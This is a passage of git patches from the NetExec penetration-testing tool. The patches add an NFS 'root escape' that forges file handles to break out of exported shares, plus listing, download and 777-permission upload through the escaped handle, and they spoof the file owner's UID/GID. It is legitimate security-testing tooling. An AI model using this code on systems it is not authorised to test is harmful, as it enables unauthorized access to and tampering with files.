raw_directory["resok"]["reply"]["entries"][0] + while nextentry: + entry = nextentry + nextentry = entry["nextentry"][0] if entry["nextentry"] else None + entry.pop("nextentry") + items.append(entry) + + # Sort by name to be linux-like + return sorted(items, key=lambda x: x["name"].decode()) def convert_size(size_bytes): From de95d01c64840488d6eb9e9e2b0297d7f24c0b7f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 2 Mar 2025 10:14:17 -0500 Subject: [PATCH 290/376] Add check for root escape --- nxc/protocols/nfs.py | 21 +++++++++++++++++---- 1 file changed, 17 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 798c0d27..60716cac 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -1,6 +1,8 @@ +from termcolor import colored from nxc.connection import connection from nxc.logger import NXCAdapter from nxc.helpers.logger import highlight +from nxc.config import host_info_colors from pyNfsClient import ( Portmap, Mount, @@ -20,7 +22,6 @@ import os from pprint import pprint - class FileID: root = "root" ext = "ext/xfs" @@ -81,6 +82,10 @@ class nfs(connection): "gid": 0, "aux_gid": [], } + self.root_escape = False + # If root escape is possible, the escape_share and escape_fh will be populated + self.escape_share = None + self.escape_fh = b"" connection.__init__(self, args, db, host) def proto_logger(self): @@ -122,12 +127,20 @@ class nfs(connection): for program in programs: if program["program"] == NFS_PROGRAM: self.nfs_versions.add(program["version"]) - return self.nfs_versions except Exception as e: self.logger.debug(f"Error checking NFS version: {self.host} {e}") + # Connect to NFS + nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) + self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) + self.nfs3.connect() + # Check if root escape is possible + self.root_escape = self.try_root_escape() + self.nfs3.disconnect() + def print_host_info(self): - self.logger.display(f"Target supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)})") + root_escape_str = colored(f"root escape:{self.root_escape}", host_info_colors[1 if self.root_escape else 0], attrs=["bold"]) + self.logger.display(f"Supported NFS versions: ({', '.join(str(x) for x in self.nfs_versions)}) ({root_escape_str})") def disconnect(self): """Disconnect mount and portmap if they are connected""" @@ -479,7 +492,7 @@ class nfs(connection): fid_type = entry["name_handle"]["handle"]["data"][3] if fid_type in fileid_types: filesystem = fileid_types[fid_type] - self.logger.info(f"Found filesystem type: {filesystem}") + self.logger.debug(f"Found filesystem type: {filesystem}") break except Exception as e: self.logger.debug(f"Error on getting filesystem type: {e}") From 9e4366f97fa67726a97cf8b8f6cd78967abb595b Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 2 Mar 2025 12:59:52 -0500 Subject: [PATCH 291/376] Add implementation for 'ls' --- nxc/protocols/nfs.py | 122 ++++++++++++++++++++++++++------ nxc/protocols/nfs/proto_args.py | 1 + 2 files changed, 102 insertions(+), 21 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 60716cac..46e41018 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -7,12 +7,16 @@ from pyNfsClient import ( Portmap, Mount, NFSv3, +) +from pyNfsClient.const import ( NFS_PROGRAM, NFS_V3, ACCESS3_READ, ACCESS3_MODIFY, ACCESS3_EXECUTE, NFSSTAT3, + NFS3ERR_NOENT, + NF3REG, ) import re import uuid @@ -22,6 +26,7 @@ import os from pprint import pprint + class FileID: root = "root" ext = "ext/xfs" @@ -520,36 +525,104 @@ class nfs(connection): return root_handles - def try_root_escape(self, mount_fh): - possible_root_fhs = self.get_root_handles(mount_fh) - for fh in possible_root_fhs: - if "resfail" not in self.nfs3.readdir(fh, auth=self.auth): - return fh + def try_root_escape(self) -> bool: + """With an established connection look for a share that can be escaped to the root filesystem""" + if not self.nfs3: + raise Exception("NFS connection is not established") + + output_export = str(self.mount.export()) + reg = re.compile(r"ex_dir=b'([^']*)'") # Get share names + shares = list(reg.findall(output_export)) + + self.logger.debug(f"Trying root escape on shares: {shares}") + for share in shares: + mount_info = self.mount.mnt(share, self.auth) + mount_fh = mount_info["mountinfo"]["fhandle"] + try: + possible_root_fhs = self.get_root_handles(mount_fh) + for fh in possible_root_fhs: + if "resfail" not in self.nfs3.readdir(fh, auth=self.auth): + self.logger.info(f"Root escape successful on share '{share}' with handle: {fh.hex()}") + self.escape_share = share + self.escape_fh = fh + self.mount.umnt(self.auth) + return True + except Exception as e: + self.logger.debug(f"Error trying root escape on share '{share}': {e}") + self.mount.umnt(self.auth) + return False def ls(self): + # Connect to NFS nfs_port = self.portmap.getport(NFS_PROGRAM, NFS_V3) self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) self.nfs3.connect() - output_export = str(self.mount.export()) + # Remove leading slashes + self.args.ls = self.args.ls.lstrip("/").rstrip("/") - reg = re.compile(r"ex_dir=b'([^']*)'") # Get share names - shares = list(reg.findall(output_export)) - - for share in shares: - mount_info = self.mount.mnt(share, self.auth) + # NORMAL LS CALL (without root escape) + if self.args.share: + mount_info = self.mount.mnt(self.args.share, self.auth) mount_fh = mount_info["mountinfo"]["fhandle"] - root_fh = self.try_root_escape(mount_fh) - if not root_fh: - self.mount.umnt(self.auth) - continue + elif self.root_escape: + # Interestingly we don't actually have to mount the share if we already got the handle + self.logger.success(f"Successful escape on share: {self.escape_share}") + mount_fh = self.escape_fh + else: + self.logger.fail("No root escape possible, please specify a share") + return - self.logger.success(f"Successful escape on share: {share}") - content = self.format_directory(self.nfs3.readdir(root_fh, auth=self.auth)) - for entry in content: - self.logger.highlight(f"{entry['name'].decode()}") - self.mount.umnt(self.auth) - break + # Update UID and GID for the share + self.update_auth(mount_fh) + + # We got a path to look up + curr_fh = mount_fh + is_file = False # If the last path is a file + + # If ls is "" or "/" without filter we would get one item with [""] + for sub_path in list(filter(None, self.args.ls.split("/"))): + res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth) + + if "resfail" in res and res["status"] == NFS3ERR_NOENT: + self.logger.fail(f"Unknown path: {self.args.ls!r}") + return + # If file then break and only display file + if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG: + is_file = True + break + curr_fh = res["resok"]["object"]["data"] + + dir_listing = self.nfs3.readdirplus(curr_fh, auth=self.auth) + content = self.format_directory(dir_listing) + path = f"{self.args.share if self.args.share else ''}/{self.args.ls}" + # If the requested path is a file, we filter out all other files + if is_file: + content = [x for x in content if x["name"].decode() == sub_path] + path = path.rsplit("/", 1)[0] # Remove the file from the path + self.print_directory(content, path) + + def print_directory(self, content, path): + """ + Highlight log the content of the directory provided by a READDIRPLUS call. + Expects an FORMATED output of self.format_directory. + """ + self.logger.highlight(f"{'UID':<11}{'Perms':<7}{'File Size':<14}{'File Path'}") + self.logger.highlight(f"{'---':<11}{'-----':<7}{'---------':<14}{'---------'}") + for item in content: + if item["name"] in [b".", b".."]: + continue + if not item["name_attributes"]["present"]: + uid = "-" + perms = "----" + file_size = "-" + else: + uid = item["name_attributes"]["attributes"]["uid"] + is_dir = "d" if item["name_attributes"]["attributes"]["type"] == 2 else "-" + read_perm, write_perm, exec_perm = self.get_permissions(item["name_handle"]["handle"]["data"]) + perms = f"{is_dir}{'r' if read_perm else '-'}{'w' if write_perm else '-'}{'x' if exec_perm else '-'}" + file_size = convert_size(item["name_attributes"]["attributes"]["size"]) + self.logger.highlight(f"{uid:<11}{perms:<7}{file_size:<14}{path.rstrip('/') + '/' + item['name'].decode()}") def format_directory(self, raw_directory): """Convert the chained directory entries to a list of the entries""" @@ -567,6 +640,13 @@ class nfs(connection): # Sort by name to be linux-like return sorted(items, key=lambda x: x["name"].decode()) + def update_auth(self, file_handle): + """Update the UID and GID for the file handle""" + attrs = self.nfs3.getattr(file_handle, auth=self.auth) + self.logger.debug(f"Updating auth with UID: {attrs['attributes']['uid']} and GID: {attrs['attributes']['gid']}") + self.auth["uid"] = attrs["attributes"]["uid"] + self.auth["gid"] = attrs["attributes"]["gid"] + def convert_size(size_bytes): if size_bytes == 0: diff --git a/nxc/protocols/nfs/proto_args.py b/nxc/protocols/nfs/proto_args.py index bf55ed95..4c640f21 100644 --- a/nxc/protocols/nfs/proto_args.py +++ b/nxc/protocols/nfs/proto_args.py @@ -6,6 +6,7 @@ def proto_args(parser, parents): dgroup = nfs_parser.add_argument_group("NFS Mapping/Enumeration", "Options for Mapping/Enumerating NFS") dgroup.add_argument("--shares", action="store_true", help="List NFS shares") dgroup.add_argument("--enum-shares", nargs="?", type=int, const=3, help="Authenticate and enumerate exposed shares recursively (default depth: %(const)s)") + dgroup.add_argument("--share", help="Specify a share, e.g. for --ls") dgroup.add_argument("--ls", const="/", nargs="?", metavar="PATH", help="List files in the specified NFS share. Example: --ls /") dgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Download remote NFS file. Example: --get-file remote_file local_file") dgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Upload remote NFS file with chmod 777 permissions to the specified folder. Example: --put-file local_file remote_file") From 434b0f4b80e1263594bed4fd2f325cc6ba1e69e7 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 2 Mar 2025 13:15:09 -0500 Subject: [PATCH 292/376] Fix for items that are not resolved by the readdirplus call --- nxc/protocols/nfs.py | 20 +++++++++++++++++--- 1 file changed, 17 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 46e41018..d4da5ee3 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -558,7 +558,7 @@ class nfs(connection): self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) self.nfs3.connect() - # Remove leading slashes + # Remove leading or trailing slashes self.args.ls = self.args.ls.lstrip("/").rstrip("/") # NORMAL LS CALL (without root escape) @@ -595,8 +595,22 @@ class nfs(connection): dir_listing = self.nfs3.readdirplus(curr_fh, auth=self.auth) content = self.format_directory(dir_listing) - path = f"{self.args.share if self.args.share else ''}/{self.args.ls}" + + # Sometimes the NFS Server does not return the attributes for the files + # However, they can still be looked up individually is missing + for item in content: + if not item["name_attributes"]["present"]: + try: + res = self.nfs3.lookup(curr_fh, item["name"].decode(), auth=self.auth) + item["name_attributes"]["attributes"] = res["resok"]["obj_attributes"]["attributes"] + item["name_attributes"]["present"] = True + item["name_handle"]["handle"] = res["resok"]["object"] + item["name_handle"]["present"] = True + except Exception as e: + self.logger.debug(f"Error on getting attributes for {item['name'].decode()}: {e}") + # If the requested path is a file, we filter out all other files + path = f"{self.args.share if self.args.share else ''}/{self.args.ls}" if is_file: content = [x for x in content if x["name"].decode() == sub_path] path = path.rsplit("/", 1)[0] # Remove the file from the path @@ -612,7 +626,7 @@ class nfs(connection): for item in content: if item["name"] in [b".", b".."]: continue - if not item["name_attributes"]["present"]: + if not item["name_attributes"]["present"] or not item["name_handle"]["present"]: uid = "-" perms = "----" file_size = "-" From 67ce02eae78c8ccd0a95f1731e9b84cbe81e5480 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 2 Mar 2025 13:17:11 -0500 Subject: [PATCH 293/376] Clean up and comments --- nxc/protocols/nfs.py | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index d4da5ee3..b8dc4515 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -24,9 +24,6 @@ import math import os -from pprint import pprint - - class FileID: root = "root" ext = "ext/xfs" @@ -526,7 +523,14 @@ class nfs(connection): return root_handles def try_root_escape(self) -> bool: - """With an established connection look for a share that can be escaped to the root filesystem""" + """ + With an established connection look for a share that can be escaped to the root filesystem. + If successfull, self.escape_share and self.escape_fh will be populated. + + Returns + ------- + bool: True if root escape was successful + """ if not self.nfs3: raise Exception("NFS connection is not established") From df4e992c52b1fe84ae5f4d6814ea936547b7011b Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 2 Mar 2025 18:43:35 -0500 Subject: [PATCH 294/376] Add root_escape for --get-file and --put-file --- nxc/protocols/nfs.py | 90 +++++++++++++++++++++++---------- nxc/protocols/nfs/proto_args.py | 2 +- 2 files changed, 65 insertions(+), 27 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index b8dc4515..c17f0260 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -14,6 +14,7 @@ from pyNfsClient.const import ( ACCESS3_READ, ACCESS3_MODIFY, ACCESS3_EXECUTE, + MNT3ERR_ACCES, NFSSTAT3, NFS3ERR_NOENT, NF3REG, @@ -348,17 +349,35 @@ class nfs(connection): self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) self.nfs3.connect() - # Mount the NFS share - mnt_info = self.mount.mnt(remote_dir_path, self.auth) + # Mount the NFS share or get the root handle + if self.root_escape and not self.args.share: + mount_fh = self.escape_fh + elif not self.args.share: + self.logger.fail("No root escape possible, please specify a share") + return + else: + mnt_info = self.mount.mnt(self.args.share, self.auth) + if mnt_info["status"] != 0: + self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}") + return + mount_fh = mnt_info["mountinfo"]["fhandle"] - # Update the UID for the file - attrs = self.nfs3.getattr(mnt_info["mountinfo"]["fhandle"], auth=self.auth) - self.auth["uid"] = attrs["attributes"]["uid"] - dir_handle = mnt_info["mountinfo"]["fhandle"] + # Iterate over the path until we hit the file + curr_fh = mount_fh + for sub_path in remote_file_path.lstrip("/").split("/"): + # Update the UID for the next object and get the handle + self.update_auth(mount_fh) + res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth) - # Get the file handle and file size - dir_data = self.nfs3.lookup(dir_handle, file_name, auth=self.auth) - file_handle = dir_data["resok"]["object"]["data"] + # Check for a bad path + if "resfail" in res and res["status"] == NFS3ERR_NOENT: + self.logger.fail(f"Unknown path: {remote_file_path!r}") + return + + curr_fh = res["resok"]["object"]["data"] + # If response is file then break + if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG: + break # Handle files over the default chunk size of 1024 * 1024 offset = 0 @@ -367,7 +386,7 @@ class nfs(connection): # Loop until we have read the entire file with open(local_file_path, "wb+") as local_file: while not eof: - file_data = self.nfs3.read(file_handle, offset, auth=self.auth) + file_data = self.nfs3.read(curr_fh, offset, auth=self.auth) if "resfail" in file_data: raise Exception("Insufficient Permissions") @@ -395,18 +414,13 @@ class nfs(connection): """Uploads a file to the NFS share""" local_file_path = self.args.put_file[0] remote_file_path = self.args.put_file[1] - file_name = "" + remote_dir_path, file_name = os.path.split(remote_file_path) # Check if local file is exist if not os.path.isfile(local_file_path): self.logger.fail(f"{local_file_path} does not exist.") return - # Do a bit of smart handling for the file paths - file_name = local_file_path.split("/")[-1] if "/" in local_file_path else local_file_path - if not remote_file_path.endswith("/"): - remote_file_path += "/" - self.logger.display(f"Uploading from {local_file_path} to {remote_file_path}") try: # Connect to NFS @@ -414,22 +428,49 @@ class nfs(connection): self.nfs3 = NFSv3(self.host, nfs_port, self.args.nfs_timeout, self.auth) self.nfs3.connect() - # Mount the NFS share to create the file - mnt_info = self.mount.mnt(remote_file_path, self.auth) - dir_handle = mnt_info["mountinfo"]["fhandle"] + # Mount the NFS share or get the root handle + if self.root_escape and not self.args.share: + mount_fh = self.escape_fh + elif not self.args.share: + self.logger.fail("No root escape possible, please specify a share") + return + else: + mnt_info = self.mount.mnt(self.args.share, self.auth) + if mnt_info["status"] != 0: + self.logger.fail(f"Error mounting share {self.args.share}: {NFSSTAT3[mnt_info['status']]}") + return + mount_fh = mnt_info["mountinfo"]["fhandle"] + + # Iterate over the path + curr_fh = mount_fh + for sub_path in remote_dir_path.lstrip("/").split("/"): + self.update_auth(mount_fh) + res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth) + + # If the path does not exist, create it + if "resfail" in res and res["status"] == NFS3ERR_NOENT: + self.logger.display(f"Creating directory '/{sub_path}/'") + res = self.nfs3.mkdir(curr_fh, sub_path, 0o777, auth=self.auth) + if res["status"] != 0: + self.logger.fail(f"Error creating directory '/{sub_path}/': {NFSSTAT3[res['status']]}") + return + else: + curr_fh = res["resok"]["obj"]["handle"]["data"] + continue + + curr_fh = res["resok"]["object"]["data"] # Update the UID from the directory - attrs = self.nfs3.getattr(dir_handle, auth=self.auth) - self.auth["uid"] = attrs["attributes"]["uid"] + self.update_auth(curr_fh) # Checking if file_name already exists on remote file path - lookup_response = self.nfs3.lookup(dir_handle, file_name, auth=self.auth) + lookup_response = self.nfs3.lookup(curr_fh, file_name, auth=self.auth) # If success, file_name does not exist on remote machine. Else, trying to overwrite it. if lookup_response["resok"] is None: # Create file self.logger.display(f"Trying to create {remote_file_path}{file_name}") - res = self.nfs3.create(dir_handle, file_name, create_mode=1, mode=0o777, auth=self.auth) + res = self.nfs3.create(curr_fh, file_name, create_mode=1, mode=0o777, auth=self.auth) if res["status"] != 0: raise Exception(NFSSTAT3[res["status"]]) else: @@ -441,9 +482,6 @@ class nfs(connection): if ans.lower() in ["y", "yes", ""]: self.logger.display(f"{file_name} already exists on {remote_file_path}. Trying to overwrite it...") file_handle = lookup_response["resok"]["object"]["data"] - else: - self.logger.fail(f"Uploading was not successful. The {file_name} is exist on {remote_file_path}") - return try: with open(local_file_path, "rb") as file: diff --git a/nxc/protocols/nfs/proto_args.py b/nxc/protocols/nfs/proto_args.py index 4c640f21..abdba2fd 100644 --- a/nxc/protocols/nfs/proto_args.py +++ b/nxc/protocols/nfs/proto_args.py @@ -4,9 +4,9 @@ def proto_args(parser, parents): nfs_parser.add_argument("--nfs-timeout", type=int, default=30, help="NFS connection timeout (default: %(default)ss)") dgroup = nfs_parser.add_argument_group("NFS Mapping/Enumeration", "Options for Mapping/Enumerating NFS") + dgroup.add_argument("--share", help="Specify a share, e.g. for --ls, --get-file, --put-file") dgroup.add_argument("--shares", action="store_true", help="List NFS shares") dgroup.add_argument("--enum-shares", nargs="?", type=int, const=3, help="Authenticate and enumerate exposed shares recursively (default depth: %(const)s)") - dgroup.add_argument("--share", help="Specify a share, e.g. for --ls") dgroup.add_argument("--ls", const="/", nargs="?", metavar="PATH", help="List files in the specified NFS share. Example: --ls /") dgroup.add_argument("--get-file", nargs=2, metavar="FILE", help="Download remote NFS file. Example: --get-file remote_file local_file") dgroup.add_argument("--put-file", nargs=2, metavar="FILE", help="Upload remote NFS file with chmod 777 permissions to the specified folder. Example: --put-file local_file remote_file") From 13a66535038cc26c12e6a836764469425acd8c93 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 2 Mar 2025 18:45:36 -0500 Subject: [PATCH 295/376] Remove unused import --- nxc/protocols/nfs.py | 1 - 1 file changed, 1 deletion(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index c17f0260..d8d9ea38 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -14,7 +14,6 @@ from pyNfsClient.const import ( ACCESS3_READ, ACCESS3_MODIFY, ACCESS3_EXECUTE, - MNT3ERR_ACCES, NFSSTAT3, NFS3ERR_NOENT, NF3REG, From 5f533f2c8ff8316e260779714d10417dac97eeab Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 3 Mar 2025 10:07:30 -0500 Subject: [PATCH 296/376] More UID/GID updates and clean up --- nxc/protocols/nfs.py | 23 +++++++++++++++++------ 1 file changed, 17 insertions(+), 6 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index d8d9ea38..17327c62 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -378,6 +378,9 @@ class nfs(connection): if res["resok"]["obj_attributes"]["attributes"]["type"] == NF3REG: break + # Update the UID and GID for the file + self.update_auth(curr_fh) + # Handle files over the default chunk size of 1024 * 1024 offset = 0 eof = False @@ -459,7 +462,7 @@ class nfs(connection): curr_fh = res["resok"]["object"]["data"] - # Update the UID from the directory + # Update the UID and GID from the directory self.update_auth(curr_fh) # Checking if file_name already exists on remote file path @@ -474,6 +477,7 @@ class nfs(connection): raise Exception(NFSSTAT3[res["status"]]) else: file_handle = res["resok"]["obj"]["handle"]["data"] + self.update_auth(file_handle) self.logger.success(f"{file_name} successfully created") else: # Asking the user if they want to overwrite the file @@ -482,14 +486,21 @@ class nfs(connection): self.logger.display(f"{file_name} already exists on {remote_file_path}. Trying to overwrite it...") file_handle = lookup_response["resok"]["object"]["data"] + # Update the UID and GID for the file + self.update_auth(file_handle) + try: with open(local_file_path, "rb") as file: file_data = file.read().decode() # Write the data to the remote file self.logger.display(f"Trying to write data from {local_file_path} to {remote_file_path}") - self.nfs3.write(file_handle, 0, len(file_data), file_data, 1, auth=self.auth) - self.logger.success(f"Data from {local_file_path} successfully written to {remote_file_path}") + res = self.nfs3.write(file_handle, 0, len(file_data), file_data, 1, auth=self.auth) + if res["status"] != 0: + self.logger.fail(f"Error writing to {remote_file_path}: {NFSSTAT3[res['status']]}") + return + else: + self.logger.success(f"Data from {local_file_path} successfully written to {remote_file_path} with permissions 777") except Exception as e: self.logger.fail(f"Could not write to {local_file_path}: {e}") @@ -549,13 +560,13 @@ class nfs(connection): # Format for the file id see: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 fh = bytearray(mount_fh) if filesystem in [FileID.ext, FileID.unknown]: - root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) - root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) # noqa: E226 FURB113 + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) # noqa: E226 if filesystem in [FileID.btrfs, FileID.unknown]: # Iterate over btrfs subvolumes, use 16 as default similar to the guys from nfs-security-tooling for i in range(16): subvolume = int.to_bytes(i) + b"\x01\x00\x00" - root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) + root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) # noqa: E226 return root_handles From 9e44b7f1ed652e63320c23ae593328dc878edd5b Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 3 Mar 2025 10:11:04 -0500 Subject: [PATCH 297/376] Better english --- nxc/protocols/nfs.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 17327c62..caef674d 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -403,7 +403,7 @@ class nfs(connection): # Write the file data to the local file local_file.write(data) - self.logger.highlight(f"File successfully downloaded to {local_file_path} from {remote_file_path}") + self.logger.highlight(f"File successfully downloaded from {remote_file_path} to {local_file_path}") # Unmount the share self.mount.umnt(self.auth) From 19ba129350268bcbbccf1fd073842be0d0495e1e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 3 Mar 2025 17:19:23 -0500 Subject: [PATCH 298/376] Fix bug if upload target dir is root point --- nxc/protocols/nfs.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index caef674d..f166437b 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -445,7 +445,8 @@ class nfs(connection): # Iterate over the path curr_fh = mount_fh - for sub_path in remote_dir_path.lstrip("/").split("/"): + # If target dir is "" or "/" without filter we would get one item with [""] + for sub_path in list(filter(None, remote_dir_path.lstrip("/").split("/"))): self.update_auth(mount_fh) res = self.nfs3.lookup(curr_fh, sub_path, auth=self.auth) From 4a696dff7e553edd9c19f7e697235f1a821e49cb Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 3 Mar 2025 17:20:05 -0500 Subject: [PATCH 299/376] Fix bug if file has other permissions than the directory. Also better error handling --- nxc/protocols/nfs.py | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index f166437b..48bf9f1c 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -495,7 +495,7 @@ class nfs(connection): file_data = file.read().decode() # Write the data to the remote file - self.logger.display(f"Trying to write data from {local_file_path} to {remote_file_path}") + self.logger.info(f"Trying to write data from {local_file_path} to {remote_file_path}") res = self.nfs3.write(file_handle, 0, len(file_data), file_data, 1, auth=self.auth) if res["status"] != 0: self.logger.fail(f"Error writing to {remote_file_path}: {NFSSTAT3[res['status']]}") @@ -646,7 +646,13 @@ class nfs(connection): break curr_fh = res["resok"]["object"]["data"] + # Update the UID and GID for the file/dir + self.update_auth(curr_fh) + dir_listing = self.nfs3.readdirplus(curr_fh, auth=self.auth) + if dir_listing["status"] != 0: + self.logger.fail(f"Error on listing directory: {NFSSTAT3[dir_listing['status']]}") + return content = self.format_directory(dir_listing) # Sometimes the NFS Server does not return the attributes for the files @@ -677,8 +683,6 @@ class nfs(connection): self.logger.highlight(f"{'UID':<11}{'Perms':<7}{'File Size':<14}{'File Path'}") self.logger.highlight(f"{'---':<11}{'-----':<7}{'---------':<14}{'---------'}") for item in content: - if item["name"] in [b".", b".."]: - continue if not item["name_attributes"]["present"] or not item["name_handle"]["present"]: uid = "-" perms = "----" From 8aec485b793f5b9e387996a41355d90f6b16db38 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 3 Mar 2025 18:41:38 -0500 Subject: [PATCH 300/376] Formating --- nxc/protocols/smb.py | 30 +++++++++++------------------- 1 file changed, 11 insertions(+), 19 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 73c7ec8d..780bd569 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -337,18 +337,18 @@ class smb(connection): [libdefaults] dns_lookup_kdc = false dns_lookup_realm = false - default_realm = { self.domain.upper() } + default_realm = {self.domain.upper()} [realms] - { self.domain.upper() } = {{ - kdc = { self.hostname.lower() }.{ self.domain } - admin_server = { self.hostname.lower() }.{ self.domain } - default_domain = { self.domain } + {self.domain.upper()} = {{ + kdc = {self.hostname.lower()}.{self.domain} + admin_server = {self.hostname.lower()}.{self.domain} + default_domain = {self.domain} }} [domain_realm] - .{ self.domain } = { self.domain.upper() } - { self.domain } = { self.domain.upper() } + .{self.domain} = {self.domain.upper()} + {self.domain} = {self.domain.upper()} """ host_file.write(data) self.logger.debug(data) @@ -1239,31 +1239,26 @@ class smb(connection): return dc_ips def smb_sessions(self): - self.logger.display("Use option qwinsta or loggedon-users") + self.logger.display("[DEPRECATED] Use option --qwinsta or --loggedon-users") return def disks(self): - disks = [] try: - rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), - filename=r"\srvsvc", smb_connection=self.conn) + rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), filename=r"\srvsvc", smb_connection=self.conn) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(srvs.MSRPC_UUID_SRVS) response = srvs.hNetrServerDiskEnum(dce, 0) # Process the response - self.logger.display("Enumerated disks") + self.logger.display("Enumerated disks:") for disk in response["DiskInfoStruct"]["Buffer"]: if disk["Disk"] != "\x00": self.logger.highlight(disk["Disk"]) except Exception as e: self.logger.fail(f"Failed to enumerate disks: {e}") - return disks - def local_groups(self): - self.logger.display("Trying with SAMRPC protocol") groups = SamrFunc(self).get_local_groups() if groups: @@ -1275,8 +1270,6 @@ class smb(connection): group_id = self.db.add_group(self.hostname, group_name, rid=group_rid)[0] self.logger.debug(f"Added group, returned id: {group_id}") - return groups - def domainfromdsn(self, dsn): dsnparts = dsn.split(",") domain = "" @@ -1307,8 +1300,7 @@ class smb(connection): def loggedon_users(self): logged_on = set() try: - rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), - filename=r"\wkssvc", smb_connection=self.conn) + rpctransport = transport.SMBTransport(self.conn.getRemoteName(), self.conn.getRemoteHost(), filename=r"\wkssvc", smb_connection=self.conn) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(wkst.MSRPC_UUID_WKST) From 6e390e8957d3aa675307cb09a65250339d338746 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Mon, 3 Mar 2025 19:12:24 -0500 Subject: [PATCH 301/376] Add deprecated label so it is easier to find when we remove deprecated stuff --- nxc/protocols/smb.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 780bd569..3f69354d 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -1285,7 +1285,7 @@ class smb(connection): return domain, dnsparts[0] + "$" def groups(self): - self.logger.display("Arg moved to the ldap protocol") + self.logger.display("[DEPRECATED] Arg moved to the ldap protocol") return def users(self): @@ -1294,7 +1294,7 @@ class smb(connection): return UserSamrDump(self).dump(self.args.users) def computers(self): - self.logger.display("Arg moved to the ldap protocol") + self.logger.display("[DEPRECATED] Arg moved to the ldap protocol") return def loggedon_users(self): From 